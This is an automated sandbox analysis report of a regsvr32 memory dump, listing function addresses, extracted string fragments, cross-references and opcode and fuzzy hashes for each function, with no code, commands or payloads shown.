Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Fl$Fl$vv5
API String ID: 0-3053741108
Opcode ID: 56c6ca64a2739fcec8bf5f3302d493d90fa60cbb6fd5cd63e6a43fd0d8d3c1f6
Instruction ID: 55f6967587c9a541224425d329b03615816d53db549f94b6db3b05c8e91cbb03
Opcode Fuzzy Hash: 56c6ca64a2739fcec8bf5f3302d493d90fa60cbb6fd5cd63e6a43fd0d8d3c1f6
Instruction Fuzzy Hash: FC511A70E4870CAFDB69DFA8E0866DDBBF1FB58344F004519E40AE7291DB74990ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016DA8 Relevance: 3.9, Strings: 3, Instructions: 133COMMON

Download Yara Rule

Strings

nn, xrefs: 0000000180017044
H8, xrefs: 0000000180016F99
nn, xrefs: 0000000180016DF3

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: H8$nn$nn
API String ID: 0-4263809824
Opcode ID: 01947e023cac002b8a0a3e4f78c79794eac0dde5bb4d18b8413bbe4288169ddb
Instruction ID: 3c01ac5d5c2d3476a5cfb8eba6abf236e6c64549312703f260b6bb5002efdfbd
Opcode Fuzzy Hash: 01947e023cac002b8a0a3e4f78c79794eac0dde5bb4d18b8413bbe4288169ddb
Instruction Fuzzy Hash: 5361D67555878CCBEBBADF38CC897D97BB1FB48344F908219D80E8A260DB7457498B41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028348 Relevance: 3.9, Strings: 3, Instructions: 130COMMON

Download Yara Rule

Strings

}]{, xrefs: 0000000180028494
%Nz, xrefs: 0000000180028375
,7%, xrefs: 0000000180028597

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %Nz$,7%$}]{
API String ID: 0-2809531587
Opcode ID: 676dc21c0f372b2db907baa94ef17c562d056d3d3dc12d9c581eeda360082d12
Instruction ID: b36c8970f11ad41429e233920f6dac2517fe43d92b96f19f813f385ea8bb4fb2
Opcode Fuzzy Hash: 676dc21c0f372b2db907baa94ef17c562d056d3d3dc12d9c581eeda360082d12
Instruction Fuzzy Hash: B771E470448788CBEBB5DF24C8856DEBBE4FB88744F60451DE9598B260DB749688CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001ACB4 Relevance: 3.9, Strings: 3, Instructions: 124COMMON

Download Yara Rule

Strings

,mQ, xrefs: 000000018001AE53
c, xrefs: 000000018001ACDC
f41, xrefs: 000000018001ACEA

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,mQ$f41$c
API String ID: 0-1594525360
Opcode ID: 7f89cf11389eafb96d04b6400e87a1f2a1e5a7f99f0c72ab3958d5ee7197d732
Instruction ID: ca916729033610084f534c396dc33c1afc583cc00ddec4c12c7a73cc6334aceb
Opcode Fuzzy Hash: 7f89cf11389eafb96d04b6400e87a1f2a1e5a7f99f0c72ab3958d5ee7197d732
Instruction Fuzzy Hash: AD51C071D0424C8BCB48DFA9E98A9DDBBF0FB48348F11820DE85AB7261C7749905CF69

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001370C Relevance: 3.8, Strings: 3, Instructions: 99COMMON

Download Yara Rule

Strings

%s, xrefs: 0000000180013864
R3, xrefs: 0000000180013876
$q~, xrefs: 0000000180013787

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $q~$%s$R3
API String ID: 0-2520873970
Opcode ID: 3d3ced99ac42584346b8bad3007d62ef26daa4ae2805a0976e45a495c47b2b96
Instruction ID: 49708784934b6f27b099c9a4c0d62a5c340693359db0e98dd39e1096da177659
Opcode Fuzzy Hash: 3d3ced99ac42584346b8bad3007d62ef26daa4ae2805a0976e45a495c47b2b96
Instruction Fuzzy Hash: 2D414870508784DBD398CF18C0DA65EBBF1FB853A4FA0691DF583862A4DB75D9898B03

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800061A0 Relevance: 3.8, Strings: 3, Instructions: 89COMMON

Download Yara Rule

Strings

|', xrefs: 00000001800061CE
[/, xrefs: 000000018000623E
s, xrefs: 0000000180006277

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [/$s$|'
API String ID: 0-508247755
Opcode ID: 7345308087df3ea52099129a82f0c3ea94bf5dab89828cea5ac59a44806af735
Instruction ID: 494a7eb40676bfcc00c7fdba1f25141f52c7cc4812b1f7e8e8b884a852a0e06c
Opcode Fuzzy Hash: 7345308087df3ea52099129a82f0c3ea94bf5dab89828cea5ac59a44806af735
Instruction Fuzzy Hash: 1841D4B090038E8FCB48DFA9D88A5DEBBB1FB48348F10461DEC25A6250D7B49554CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012378 Relevance: 3.8, Strings: 3, Instructions: 85COMMON

Download Yara Rule

Strings

fq, xrefs: 0000000180012423
`cb{, xrefs: 000000018001248C
_#>, xrefs: 000000018001241C

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _#>$`cb{$fq
API String ID: 0-41881557
Opcode ID: 6dffa8c73f5f57da7de5f12e066b229d1e4dd53f1b7788c47ce25402a50e5fa7
Instruction ID: 8d8b26aa43ab9a83d147a377112b64bfb8255cca975d25c3e902dea97d059722
Opcode Fuzzy Hash: 6dffa8c73f5f57da7de5f12e066b229d1e4dd53f1b7788c47ce25402a50e5fa7
Instruction Fuzzy Hash: 2941C0B180078E8FCF48CF64C88A5DE7FB0FB58358F104619E86AA6250D3B89665CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012680 Relevance: 3.8, Strings: 3, Instructions: 73COMMON

Download Yara Rule

Strings

{To, xrefs: 000000018001273E
=Z8, xrefs: 00000001800126B2
[U, xrefs: 00000001800126F5

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: =Z8$[U${To
API String ID: 0-582923006
Opcode ID: 510822f7632221338f4787e6ba9fbd6d482cd1ebd2bab9e95bda9979d09408e7
Instruction ID: dd1ba70993956fe5376c9027ab0fa5dab7ea2e8642491db667c41f00a9894f6d
Opcode Fuzzy Hash: 510822f7632221338f4787e6ba9fbd6d482cd1ebd2bab9e95bda9979d09408e7
Instruction Fuzzy Hash: DA31AFB090074ECBCB88DF64C88A4DF7FB4FB68398F104219E855A6250D3B896A5CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006414 Relevance: 2.8, Strings: 2, Instructions: 314COMMON

Download Yara Rule

Strings

u., xrefs: 000000018000655E
L, xrefs: 000000018000677D

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: L$u.
API String ID: 0-1908859981
Opcode ID: 963c97d349dba17e05ff2ad4f8c091e323bd32606f741df39a0923b695cd3283
Instruction ID: fe013bb6a98280fd3664de29af0d6deafe853b8c6d857857911529a75c261ac8
Opcode Fuzzy Hash: 963c97d349dba17e05ff2ad4f8c091e323bd32606f741df39a0923b695cd3283
Instruction Fuzzy Hash: FDE1167152478DABDF98CF28C8C6ADD3BA1FB48394F906229FD0287260D775D985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000968C Relevance: 2.8, Strings: 2, Instructions: 290COMMON

Download Yara Rule

Strings

v^, xrefs: 00000001800096A3
|8W, xrefs: 000000018000999A

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: v^$|8W
API String ID: 0-4274756280
Opcode ID: e8f720407405c8f842976055ebfe5a961945bc41caeca3a3e9e3a1284d36038d
Instruction ID: eb46043f5dfd862e599a3e1f0545fc92660674d3eece30cf186a2abccef00301
Opcode Fuzzy Hash: e8f720407405c8f842976055ebfe5a961945bc41caeca3a3e9e3a1284d36038d
Instruction Fuzzy Hash: 23D11171A0630CCBDB68DF68C58AA9D7BE1FF59348F104129FC1A9B261C770E919CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001E88 Relevance: 2.8, Strings: 2, Instructions: 261COMMON

Download Yara Rule

Strings

u5\, xrefs: 0000000180001FE0
`:, xrefs: 000000018000222C

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: `:$u5\
API String ID: 0-1141760586
Opcode ID: de639cec483ce4a43014a1f68f5d3fafad908dcfa8fcc167b954aac45c8ab292
Instruction ID: 309421123f437f89acc2771e6a55141bc20ba277e2d56715f434ec53ca724750
Opcode Fuzzy Hash: de639cec483ce4a43014a1f68f5d3fafad908dcfa8fcc167b954aac45c8ab292
Instruction Fuzzy Hash: 69C1207150574DCBDB99CF28C58A6D93BE5FF98348F104129FC0E862A1CBB4EA18CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022AAC Relevance: 2.8, Strings: 2, Instructions: 250COMMON

Download Yara Rule

Strings

0Au, xrefs: 0000000180022F34
]6, xrefs: 0000000180022FF9

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 0Au$]6
API String ID: 0-775207805
Opcode ID: 41d6d67fb4784ff97a0c8e7ec9a302166e0b0c9de4538925550087b6d031b924
Instruction ID: 6edab2825e6f92fa7d6d5649e6783b0aef41eda7633721283519dacdcc01bd9d
Opcode Fuzzy Hash: 41d6d67fb4784ff97a0c8e7ec9a302166e0b0c9de4538925550087b6d031b924
Instruction Fuzzy Hash: 2DE1D7706047889FCBBEDF24CC897DA7BA8FB46704F904619E9C98E250DB745748CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026B98 Relevance: 2.7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

qrd, xrefs: 0000000180026C88
S9, xrefs: 0000000180026D05

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: S9$qrd
API String ID: 0-2332744662
Opcode ID: dccb7ee8ec7dfb8e0809544b932b2caf2d93c57dd19aa3a9b169f23ded853006
Instruction ID: d3a666ff84b181fad27f9c2352a1e83f1b6bb5c561d3220c9e7978bd2dadc88f
Opcode Fuzzy Hash: dccb7ee8ec7dfb8e0809544b932b2caf2d93c57dd19aa3a9b169f23ded853006
Instruction Fuzzy Hash: 6EB1357590660CCFCB69DFA4C08A6DDBBF1EF68344F104519E812AB262CBB0D919CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023C14 Relevance: 2.7, Strings: 2, Instructions: 204COMMON

Download Yara Rule

Strings

hw}2, xrefs: 0000000180023DCB
4&t, xrefs: 0000000180023F04

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: hw}2$4&t
API String ID: 0-1169878757
Opcode ID: 858c4deae444743a57c26792a91effe053d1d8b489a12bfa541918911fc2fcd6
Instruction ID: fd20564dcf1a671b287a6600624e9fb92dead2187b8d5629211a6de17e7e6b55
Opcode Fuzzy Hash: 858c4deae444743a57c26792a91effe053d1d8b489a12bfa541918911fc2fcd6
Instruction Fuzzy Hash: AEB168B590420CCFDB68CF78C45A5DD7BF1FB08308F60612AE826AA262D774D919CF54

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001EBA0 Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

JMWd, xrefs: 000000018001EF78
a[, xrefs: 000000018001EECA

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: JMWd$a[
API String ID: 0-3276560754
Opcode ID: 94f2740beabb4555a63fe109c076897c128458c56f4cbcfe5625600f94c775f6
Instruction ID: 3b54873520b9a846c0abc3e4022efff23af49e59c185cad729b6d512d224c3a2
Opcode Fuzzy Hash: 94f2740beabb4555a63fe109c076897c128458c56f4cbcfe5625600f94c775f6
Instruction Fuzzy Hash: D5A106706047889FDBBACF18CC857DE3BA8FB46748F504229E8CA8E254CB745749CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015494 Relevance: 2.7, Strings: 2, Instructions: 172COMMON

Download Yara Rule

Strings

%[, xrefs: 00000001800156E0
-, xrefs: 000000018001574A

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %[$-
API String ID: 0-2535708364
Opcode ID: 65f60e6b5a076c6be367ab0f8efb072c07a091d19f07b8aff3e0ecb4ccd985c8
Instruction ID: a7604732bdc10a899b7b050bfde45695c0722dd065d5eed74db0117fa162c574
Opcode Fuzzy Hash: 65f60e6b5a076c6be367ab0f8efb072c07a091d19f07b8aff3e0ecb4ccd985c8
Instruction Fuzzy Hash: 1F81627050074ECBDB99DF14C88A7DE3BA0FB28389F114219FC85962A0D778C699CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DB4C Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

/Mr, xrefs: 000000018000DD1E
i:O:, xrefs: 000000018000DE23

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: /Mr$i:O:
API String ID: 0-3426536595
Opcode ID: 8fba9de9c6c3b1e5047e1d7641fef574ac2ea6f46defdcfa8fbb4029ea408963
Instruction ID: 3eba081f804be6fa3a9d4fb4db8c82f5607d3411af965209965460f3089a80c7
Opcode Fuzzy Hash: 8fba9de9c6c3b1e5047e1d7641fef574ac2ea6f46defdcfa8fbb4029ea408963
Instruction Fuzzy Hash: 7C91087050438C8FDBBADF24C8AA7DE7BA1FB5A304F50461EEA4E8E250DB749644CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017E2C Relevance: 2.7, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

6|4, xrefs: 0000000180017EA9
;|-, xrefs: 0000000180017FAB

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6|4$;|-
API String ID: 0-2897245347
Opcode ID: 35605434c5429477d06d2e5b9b1bfa34856c77736f87f3e727847c01dfef7208
Instruction ID: 839a7c11e172a9a14e1c367a044feafa9aab422ef7ede3a919e78660e0b6ca0a
Opcode Fuzzy Hash: 35605434c5429477d06d2e5b9b1bfa34856c77736f87f3e727847c01dfef7208
Instruction Fuzzy Hash: C0714B7090474D8FCF88DFA4C8866EEBBF0FB48308F114619E88AA7251D7789645CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F328 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

U, xrefs: 000000018000F44E
U#, xrefs: 000000018000F446

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: U$U#
API String ID: 0-861755185
Opcode ID: 2086c1731bcfc2cec1958e1d1a3f8cb927817e2dd584414818c7a6dfab91bab1
Instruction ID: 3d07f47d2f6b9c27b0e4fe7d5859b29f381f1ada24735b7dc646a2f801c86eef
Opcode Fuzzy Hash: 2086c1731bcfc2cec1958e1d1a3f8cb927817e2dd584414818c7a6dfab91bab1
Instruction Fuzzy Hash: 0C515C7150C7449FC7A8DF18D4C67AAB7E0FB88310F90991DF8CAC7251EB70A9598B82

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007EB4 Relevance: 2.7, Strings: 2, Instructions: 152COMMON

Download Yara Rule

Strings

Pr, xrefs: 0000000180007FC1
fK, xrefs: 0000000180007F95

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: fK$Pr
API String ID: 0-2696692655
Opcode ID: 9489b844c734f0d344b598ec7bcb8736a735df1c6bae6eaa62d1b735c6b442f4
Instruction ID: dfe3628fe45c31a405763d5fff7ed8f4d77ec04c4bb6b45016b3f1679df2575b
Opcode Fuzzy Hash: 9489b844c734f0d344b598ec7bcb8736a735df1c6bae6eaa62d1b735c6b442f4
Instruction Fuzzy Hash: 907116B090474E8FDB88CF28C88A6DE7BF0FB18358F515219FC4AA6260D774D598CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DEF4 Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

n\, xrefs: 000000018000E000
z+&, xrefs: 000000018000E024

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: n\$z+&
API String ID: 0-1414119057
Opcode ID: f24be46eeb560fbb290949dbfd7d05873455e782ddfe7ec7ed40b48d6508653b
Instruction ID: eeb2c5940d29436bcd670e7d8a2b521530b450e3042878bcb8e4954d48490cde
Opcode Fuzzy Hash: f24be46eeb560fbb290949dbfd7d05873455e782ddfe7ec7ed40b48d6508653b
Instruction Fuzzy Hash: 22612070A04B0C8BCBA9DF98D48AADDB7F1FB58344F00411DE846A7390DBB8950ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800015C0 Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

., xrefs: 00000001800017B7
50, xrefs: 00000001800016DE

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .$50
API String ID: 0-2436285167
Opcode ID: 84d2de074a5e6e1a5d921b58512406c284d81fdc35452f42d6b6a069db9f8ad4
Instruction ID: 63debb9af518b5fca5d59737c01840b12b974a655eea7ff458552c4fa6b671e5
Opcode Fuzzy Hash: 84d2de074a5e6e1a5d921b58512406c284d81fdc35452f42d6b6a069db9f8ad4
Instruction Fuzzy Hash: 3671DF705087848FD769CF28C58965ABBF0FBC6344F008A1DF68686260CBB6D949CF03

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002ADC Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

uC, xrefs: 0000000180002C87
,{, xrefs: 0000000180002C7D

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,{$uC
API String ID: 0-1099860252
Opcode ID: 2af00e218d12abdb99ef7e76f2ba815a0f7da0c0d962cc97f106519d062cd6fe
Instruction ID: df29777c25f03bc51b29c5e68a382a2b48421fa47568a9dd7f4acde699563025
Opcode Fuzzy Hash: 2af00e218d12abdb99ef7e76f2ba815a0f7da0c0d962cc97f106519d062cd6fe
Instruction Fuzzy Hash: 28612D71A04B0C8FDBA9DF98D08A7DEB7F1FB48344F004119E406E7291DBB8990ADB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004E3C Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

*6TO, xrefs: 0000000180004F9B
"C, xrefs: 0000000180005084

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "C$*6TO
API String ID: 0-2251823003
Opcode ID: 11a52743e991166c772ae58171141d3b918ce8d4020b5bd660e65aa41626bcf5
Instruction ID: 1108d3b1afe4df31317b10417d35e55e698c36e02fd161062712c06e930ceb12
Opcode Fuzzy Hash: 11a52743e991166c772ae58171141d3b918ce8d4020b5bd660e65aa41626bcf5
Instruction Fuzzy Hash: 598166B550130DCFCB98DF28C58A59D3BA8FB49308F40812AFC1E9A264D3B4E659DB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015264 Relevance: 2.6, Strings: 2, Instructions: 137COMMON

Download Yara Rule

Strings

nkz, xrefs: 000000018001533E
_ N, xrefs: 00000001800153D5

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _ N$nkz
API String ID: 0-4083044659
Opcode ID: a2e505ed0ed44acca9d37efa5475ae9917bfda84fefcb3a28f95bfb4043916ce
Instruction ID: b07831c94fe2cbd7ac58294498593f0ee6961182af88fd212fccb4805bec53d6
Opcode Fuzzy Hash: a2e505ed0ed44acca9d37efa5475ae9917bfda84fefcb3a28f95bfb4043916ce
Instruction Fuzzy Hash: 39513971D04A1D8BDF99CFA8C5457EEBBB1FB48344F108119E415BB250CBB89A09CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B834 Relevance: 2.6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

?, xrefs: 000000018000B945
LiD+, xrefs: 000000018000B96C

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: LiD+$?
API String ID: 0-3739020763
Opcode ID: bc963e11fa834f262c09c021a462739b615030ee8f9d2598156052fa386473db
Instruction ID: 2f7d624153028320349e4a0adb7356b45dc1f3746b227896fac10cb383cb0630
Opcode Fuzzy Hash: bc963e11fa834f262c09c021a462739b615030ee8f9d2598156052fa386473db
Instruction Fuzzy Hash: F35191B590034E8FCB48DF64D48A8DE7FB0FB68398F214619E815A7210D7B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800085BC Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

\o, xrefs: 0000000180008613
%&Iv, xrefs: 00000001800086E6

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %&Iv$\o
API String ID: 0-2950252169
Opcode ID: e3b847a27b1fdf8219116b43965b4243214bd6bbc489cbb0191219741f6e6deb
Instruction ID: 7d8516b09fccf329ce1ee45da69bc8f76dfc96f1b67d05b04ebb17f55f6537e3
Opcode Fuzzy Hash: e3b847a27b1fdf8219116b43965b4243214bd6bbc489cbb0191219741f6e6deb
Instruction Fuzzy Hash: 7041C2B090074E8FCB48DF28C88A4DE7FB1FB68398F514619EC56A7250D7B496A4CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180009408 Relevance: 2.6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

Strings

|<, xrefs: 0000000180009540
P;, xrefs: 00000001800094F1

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: |<$P;
API String ID: 0-71676942
Opcode ID: d8b30cb9b0bbde5f967eaf6e88493efae150f481542faaeeec2b89fd53c9bf9b
Instruction ID: b926ab4478da67f81816527f76e4a4189747c2b1a61b322854fb240660ec53f5
Opcode Fuzzy Hash: d8b30cb9b0bbde5f967eaf6e88493efae150f481542faaeeec2b89fd53c9bf9b
Instruction Fuzzy Hash: 0F41F4B190078ECFCF48DF68C88A5DE7BB0FB58318F10461DE82AA6250D3B49665CF84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A524 Relevance: 2.6, Strings: 2, Instructions: 94COMMON

Download Yara Rule

Strings

#X, xrefs: 000000018001A554
< @, xrefs: 000000018001A5D7

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$< @
API String ID: 0-1734357072
Opcode ID: efe0763d8a7a245e8cb996b606fb90cb3ba626e454cc1a7dd4141ea463f73824
Instruction ID: 53d5526a666e2e4b0aa3df313d94281727ef5dde582db7952040e92a2ea044da
Opcode Fuzzy Hash: efe0763d8a7a245e8cb996b606fb90cb3ba626e454cc1a7dd4141ea463f73824
Instruction Fuzzy Hash: E241C3B090078E8FCF48DF68C95A5DE7BB0FB58348F104A1DEC6AA6250D3B49665CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800234D8 Relevance: 2.6, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

X&x, xrefs: 00000001800235CE
.B, xrefs: 00000001800235C0

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .B$X&x
API String ID: 0-2125001607
Opcode ID: b56e4be042cf3e20bfd4171d949980e8bdde88a4c8b77932d249eea416ff403a
Instruction ID: 406be0e8b3d674fc45ad7aec45ce8f3a41fae9dcbe4fb503a73b8d88e4a7390b
Opcode Fuzzy Hash: b56e4be042cf3e20bfd4171d949980e8bdde88a4c8b77932d249eea416ff403a
Instruction Fuzzy Hash: F541C3B190034E8BDF48DF68C98A4DE7BB1FB58358F00461DE866AB350D3B89665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014F50 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

S1, xrefs: 000000018001504E
D-o, xrefs: 0000000180015024

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

